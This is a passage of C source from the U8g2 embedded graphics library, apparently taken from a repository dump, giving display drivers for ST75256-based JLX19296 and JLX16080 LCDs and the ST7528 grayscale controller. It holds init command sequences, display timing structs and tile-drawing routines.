&u8x8_st75256_256x160_alt_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n\t    u8x8_d_helper_display_init(u8x8);\n\t    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160_alt_init_seq);    \n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n\n} \n\n\n/*=============================================*/\n/* JLX19296 LCD */\n\nstatic const u8x8_display_info_t u8x8_st75256_192x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 24,\t\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\t/*  */\n  /* flipmode_x_offset = */ 64,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 96\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx19296_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x003 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x9f ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x2e, 0x03 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};    \n\n\nuint8_t u8x8_d_st75256_jlx19296(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1, then adjust y value */\n\t\tu8x8_cad_SendArg(u8x8, 8+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n                c *= 8;\n\n                if ( c + x > 192u )\n                {\n                        c = 192u;\n                        c -= x;\n                }\n                      \n                u8x8_cad_SendData(u8x8, c, ptr); \t\n                x += c;\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n            u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_192x96_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n            u8x8_d_helper_display_init(u8x8);\n            u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx19296_init_seq);\n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t    /*\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); \n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t    */\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n}\n\n\n\n/*=============================================*/\n/* \n  JLX16080 LCD \n\n  https://github.com/olikraus/u8g2/issues/2058\n\n  WARNING: NOT FULLY TESTED in issue 2058!\n*/\n\nstatic const u8x8_display_info_t u8x8_st75256_jlx16080_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 20,\t\n  /* tile_height = */ 10,\n  /* default_x_offset = */ 0,\t/*  */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 80\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx16080_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x003 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 0x9f ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x2e, 0x03 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};    \n\n\nuint8_t u8x8_d_st75256_jlx16080(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n            \n            \n\t      //if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1, then adjust y value */\n\t\t//u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      //else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              \n              \n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n                c *= 8;\n\n                if ( c + x > 192u )\n                {\n                        c = 192u;\n                        c -= x;\n                }\n                      \n                u8x8_cad_SendData(u8x8, c, ptr); \t\n                x += c;\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n            u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_jlx16080_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n            u8x8_d_helper_display_init(u8x8);\n            u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx16080_init_seq);\n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t    /*\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq); \n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t    */\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7528.c",
    "content": "/*\n\n  u8x8_d_st7528.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  ST7528: 16 Graylevel Controller\n  https://github.com/olikraus/u8g2/issues/986\n  I2C Address: 0x03f (0x7e)\n  \n  \n  ERC16004\n  https://www.buydisplay.com/default/2-inch-lcd-160x64-graphic-module-serial-spi-display-st7528-black-on-white\n  \n*/\n\n\n#include \"u8x8.h\"\n\n\nstatic const uint8_t u8x8_d_st7528_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x038, 0x074),\t\t/* ext mode 0*/\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7528_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x038, 0x074),\t\t/* ext mode 0*/\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7528_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t                /* ADC */\n  U8X8_C(0x0c8),\t\t                /* SHL */  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7528_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t                /* ADC */\n  U8X8_C(0x0c0),\t\t                /* SHL */  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for st7528 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_st7528_8to32_dest_buf[32];\n\nstatic uint8_t *u8x8_st7528_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t j;\n  uint8_t *dest;\n  \n  dest = u8x8_st7528_8to32_dest_buf;\n  for( j = 0; j < 8; j++ )\n  {\n    *dest++ =*ptr;\n    *dest++ =*ptr;\n    *dest++ =*ptr;\n    *dest++ =*ptr;\n    ptr++;\n  }\n  return u8x8_st7528_8to32_dest_buf;\n}\n\n\n\nstatic uint8_t u8x8_d_st7528_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x;\n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7528_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7528_nhd_c160100_init_seq);    \n    */\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7528_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7528_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7528_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7528_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1326 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;  // not clear\n      \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n          u8x8_cad_SendCmd(u8x8, 0xb0 | y );\t/* set page address */\n          u8x8_cad_SendCmd(u8x8, 0x10| (x>>4) );\t/* set col msb*/\n          u8x8_cad_SendCmd(u8x8, 0x00| (x&15) );\t/* set col lsb*/\n          \n          u8x8_cad_SendData(u8x8, 32, u8x8_st7528_8to32(u8x8, ptr));\n          \n\t  ptr += 8;\n\t  x += 8;\n\t  c--;\n\t} while( c > 0 );\t\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic void u8x8_d_st7528_graylevel_init(u8x8_t *u8x8, uint8_t mode0)\n{\n  uint8_t i;\n  \n  u8x8_cad_StartTransfer(u8x8);\n  u8x8_cad_SendCmd(u8x8, 0x38 );\n  u8x8_cad_SendArg(u8x8, mode0+1 );\n  for( i = 0; i < 64; i++ )\n  {\n          u8x8_cad_SendCmd(u8x8, i+0x080 );\n          u8x8_cad_SendArg(u8x8, i & 0xfc);\n  }\n  u8x8_cad_SendCmd(u8x8, 0x38 );\n  u8x8_cad_SendArg(u8x8, mode0 );\n  u8x8_cad_EndTransfer(u8x8);\n}\n\n/*===============================================================*/\n/* NHD C160100 */\nstatic const uint8_t u8x8_d_st7528_nhd_c160100_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  \n/*\n    I2C_out(0x48);//partial display duty ratio\n    I2C_out(0x64);// 1/100 duty\n    I2C_out(0xA0);//ADC select\n    I2C_out(0xC8);//SHL select\n    I2C_out(0x44);//initial Com0 register\n    I2C_out(0x00);//scan from Com0\n    I2C_out(0xAB);//OSC on\n    I2C_out(0x26);//\n    I2C_out(0x81);\t//set electronic volume\n    I2C_out(0x15);//vopcode=0x1C\n    I2C_out(0x56);//set 1/11 bias\n    I2C_out(0x64);//3x\n    delay(2);\n    I2C_out(0x2C);//\n    I2C_out(0x66);//5x\n    delay(2);\n    I2C_out(0x2E);//\n    delay(2);\n    I2C_out(0x2F);//power control\n    I2C_out(0xF3);//bias save circuit\n    I2C_out(0x00);//\n    I2C_out(0x96);//frc and pwm\n    I2C_out(0x38);//external mode\n    I2C_out(0x75);//\n    I2C_out(0x97);//3frc, 45 pwm\t\t\tTHIS IS A MODE0 CMD, IT IS USELESS HERE\n    I2C_out(0x80);//start 16-level grayscale settings\n*/\n  U8X8_CA(0x038, 0x064),\t\t/* ext mode 0*/\n  U8X8_CA(0x048, 0x064),\t\t/* partial display duty ratio, 1/100 duty*/\n  U8X8_C(0x0a0),\t\t                /* ADC */\n  U8X8_C(0x0c8),\t\t                /* SHL */\n  U8X8_CA(0x044, 0x000),\t\t/* initial Com0 */\n  U8X8_CA(0x040, 0x000),\t\t/* y shift, issue https://github.com/olikraus/u8g2/issues/1828 */\n  U8X8_C(0x0ab),\t\t                /* start oscillator */\n  U8X8_C(0x026),\t\t                /* Select the internal resistance ratio of the regulator resistor */\n  U8X8_CA(0x081, 0x015),\t\t/* volumn */\n  U8X8_C(0x056),\t\t                /* LCD Bias */\n  U8X8_C(0x064),\t\t                /* DC DC step up */\n  U8X8_DLY(2),\n  U8X8_C(0x02c),\t\t                /* Power Control */\n  U8X8_C(0x066),\t\t                /* DC DC step up */\n  U8X8_DLY(2),\n  U8X8_C(0x02e),\t\t                /* Power Control */\n  U8X8_DLY(2),\n  U8X8_C(0x02f),\t\t                /* Power Control */\n  U8X8_CA(0x0f3, 0x000),\t\t/* bias power save */\n  U8X8_C(0x096),\t\t                /* frc and pwm */\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7528_160x100_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* st7528  */\n  /* sck_pulse_width_ns = */ 25,\t/* st7528 */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n      /* st7528 actually allows 20MHz according to the datasheet */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 80,\t/* st7528 */\n  /* tile_width = */ 20,\n  /* tile_height = */ 13,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1326 */\n  /* flipmode_x_offset = */ 0,\t\t/* x_offset is used as y offset 